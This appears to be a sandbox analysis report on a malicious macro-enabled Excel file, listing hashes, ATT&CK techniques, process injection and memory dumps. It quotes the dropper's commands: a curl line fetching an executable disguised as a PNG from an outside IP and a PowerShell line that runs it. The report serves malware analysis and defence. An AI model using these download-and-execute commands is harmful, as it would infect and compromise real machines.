9173221a937cf1ef14a7fcb5ee89c87162aaf60b6b901405827f43b1871d693b

General

Target

9173221a937cf1ef14a7fcb5ee89c87162aaf60b6b901405827f43b1871d693b.xlsm
Size

85KB
MD5

774c9db0d6227c94806074555e42db67
SHA1

071a3ce6e2fc5e2088bed0ad8bacb6ba71ab31ce
SHA256

9173221a937cf1ef14a7fcb5ee89c87162aaf60b6b901405827f43b1871d693b
SHA512

7cfb01b260b183476a81121ff63053ecf5b93ac1ac345055aefc3c6e4b8def5545f854ca0d0198cf2124dc6fa87fd09eef3b8478672a1e148e12d2ff0476a15b

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1704	4060	powershell.exe	EXCEL.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1456	4060	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4060 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1704 powershell.exe
1704 powershell.exe
1704 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1704 powershell.exe

pid	process
1704	powershell.exe
1704	powershell.exe
1704	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1704	powershell.exe

Suspicious use of SetWindowsHookEx 17 IoCs

Processes:

EXCEL.EXE

pid	process
4060	EXCEL.EXE
4060	EXCEL.EXE
4060	EXCEL.EXE
4060	EXCEL.EXE
4060	EXCEL.EXE
4060	EXCEL.EXE
4060	EXCEL.EXE
4060	EXCEL.EXE
4060	EXCEL.EXE
4060	EXCEL.EXE
4060	EXCEL.EXE
4060	EXCEL.EXE
4060	EXCEL.EXE
4060	EXCEL.EXE
4060	EXCEL.EXE
4060	EXCEL.EXE
4060	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 4060 wrote to memory of 1704	4060	EXCEL.EXE	powershell.exe
PID 4060 wrote to memory of 1704	4060	EXCEL.EXE	powershell.exe
PID 4060 wrote to memory of 1456	4060	EXCEL.EXE	cmd.exe
PID 4060 wrote to memory of 1456	4060	EXCEL.EXE	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9173221a937cf1ef14a7fcb5ee89c87162aaf60b6b901405827f43b1871d693b.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4060

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\oRTDX.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1704

C:\Windows\SYSTEM32\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\oRTDX.exe
2⤵
- Process spawned unexpected child process
PID:1456

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1456-258-0x0000000000000000-mapping.dmp

Download
memory/1704-257-0x0000000000000000-mapping.dmp

Download
memory/1704-286-0x000002B045B96000-0x000002B045B98000-memory.dmp

Filesize
8KB

Download
memory/1704-278-0x000002B045B93000-0x000002B045B95000-memory.dmp

Filesize
8KB

Download
memory/1704-277-0x000002B045B90000-0x000002B045B92000-memory.dmp

Filesize
8KB

Download
memory/1704-268-0x000002B045BA0000-0x000002B045BA1000-memory.dmp

Filesize
4KB

Download
memory/1704-264-0x000002B045AB0000-0x000002B045AB1000-memory.dmp

Filesize
4KB

Download
memory/4060-117-0x00007FF92CFA0000-0x00007FF92CFB0000-memory.dmp

Filesize
64KB

Download
memory/4060-123-0x00007FF94B490000-0x00007FF94D385000-memory.dmp

Filesize
31.0MB

Download
memory/4060-122-0x00007FF94D390000-0x00007FF94E47E000-memory.dmp

Filesize
16.9MB

Download
memory/4060-121-0x00007FF92CFA0000-0x00007FF92CFB0000-memory.dmp

Filesize
64KB

Download
memory/4060-118-0x00007FF92CFA0000-0x00007FF92CFB0000-memory.dmp

Filesize
64KB

Download
memory/4060-114-0x00007FF6241C0000-0x00007FF627776000-memory.dmp

Filesize
53.7MB

Download
memory/4060-116-0x00007FF92CFA0000-0x00007FF92CFB0000-memory.dmp

Filesize
64KB

Download
memory/4060-115-0x00007FF92CFA0000-0x00007FF92CFB0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads